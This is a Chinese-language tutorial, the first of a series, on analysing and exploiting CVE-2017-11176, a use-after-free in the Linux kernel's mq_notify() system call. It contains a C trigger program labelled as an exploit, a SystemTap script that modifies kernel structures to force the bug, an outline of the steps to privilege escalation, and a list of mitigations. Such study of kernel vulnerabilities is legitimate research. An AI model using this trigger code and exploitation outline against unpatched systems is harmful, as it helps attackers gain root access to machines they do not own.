CVE-2017-11176: 一步一步linux内核漏洞利用 (一)(System Tap)
字数 1113 2025-08-05 08:18:36
Linux内核漏洞CVE-2017-11176分析与利用教程
漏洞概述
CVE-2017-11176是Linux内核中的一个引用计数错误漏洞,存在于mq_notify()系统调用中。该漏洞可能导致内核内存释放后重用(UAF),最终可能实现本地权限提升。
漏洞分析
漏洞位置
漏洞位于mq_notify()系统调用中,具体在netlink_attachskb()函数的错误处理路径中。
漏洞原理
当满足特定条件时,mq_notify()会错误地减少sock对象的引用计数两次:
- 第一次减少发生在
netlink_attachskb()返回1时 - 第二次减少发生在后续的
netlink_detachskb()调用中
这会导致sock对象的引用计数被错误地减少两次,可能导致UAF。
关键数据结构
struct sigevent {
sigval_t sigev_value;
int sigev_signo;
int sigev_notify;
union {
int _pad[SIGEV_PAD_SIZE];
int _tid;
struct {
void (*_function)(sigval_t);
void *_attribute;
} _sigev_thread;
} _sigev_un;
};
漏洞触发条件
要触发漏洞,需要满足以下条件:
- 调用
mq_notify()时提供非NULL的sigevent参数 - 设置
sigev_notify = SIGEV_THREAD sigev_value.sival_ptr指向有效的用户空间地址(至少32字节可读)- 使
netlink_attachskb()返回1(需要设置sock状态为congested) - 在第二次
fget()调用时使其失败
漏洞利用开发
环境准备
- 安装SystemTap用于内核调试
- 准备带有调试符号的内核
- 编写测试程序
基本利用代码框架
#define _GNU_SOURCE
#include <mqueue.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#define NOTIFY_COOKIE_LEN (32)
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)
int main(void) {
struct sigevent sigev;
char sival_buffer[NOTIFY_COOKIE_LEN];
int sock_fd;
printf("-={ CVE-2017-11176 Exploit }=-\n");
if ((sock_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_GENERIC)) < 0) {
perror("socket");
goto fail;
}
printf("netlink socket created = %d\n", sock_fd);
memset(&sigev, 0, sizeof(sigev));
sigev.sigev_notify = SIGEV_THREAD;
sigev.sigev_value.sival_ptr = sival_buffer;
sigev.sigev_signo = sock_fd;
if (_mq_notify((mqd_t)-1, &sigev)) {
perror("mq_notify");
goto fail;
}
printf("mq_notify succeed\n");
return 0;
fail:
printf("exploit failed!\n");
return -1;
}
SystemTap调试脚本
# mq_notify_force_crash.stp
%{
#include <net/sock.h>
#include <net/netlink_sock.h>
#include <linux/fdtable.h>
%}
function force_trigger:long (arg_sock:long)
%{
struct sock *sk = (void*) STAP_ARG_arg_sock;
sk->sk_flags |= (1 << SOCK_DEAD); // 避免线程阻塞
struct netlink_sock *nlk = (void*) sk;
nlk->state |= 1; // 使netlink_attachskb()进入retry路径
struct files_struct *files = current->files;
struct fdtable *fdt = files_fdtable(files);
fdt->fd[3] = NULL; // 使第二次fget()调用失败
%}
probe kernel.function ("netlink_attachskb")
{
if (execname() == "exploit") {
force_trigger($sk);
}
}
关键调试步骤
- 使用SystemTap监控内核函数调用
- 修改内核数据结构强制满足漏洞条件
- 设置
sock状态为congested - 设置
sk_flags为SOCK_DEAD避免阻塞 - 从文件描述符表中删除fd使第二次
fget()失败
- 设置
- 验证引用计数是否正确减少
完整利用思路
- 创建AF_NETLINK套接字
- 设置
sigevent结构体:sigev_notify = SIGEV_THREADsigev_value.sival_ptr指向有效用户空间缓冲区sigev_signo设置为套接字文件描述符
- 调用
mq_notify()触发漏洞 - 在漏洞触发后利用UAF条件实现权限提升
防御措施
- 更新内核到修复版本
- 使用grsecurity/PaX等内核加固技术
- 限制普通用户使用
mq_notify系统调用
参考资源
- 官方漏洞公告
- 内核源码分析
- SystemTap文档
- 相关内核数据结构定义
通过本教程,您应该能够理解CVE-2017-11176漏洞的原理、触发条件以及基本的利用方法。实际利用还需要结合具体内核版本和环境进行调整。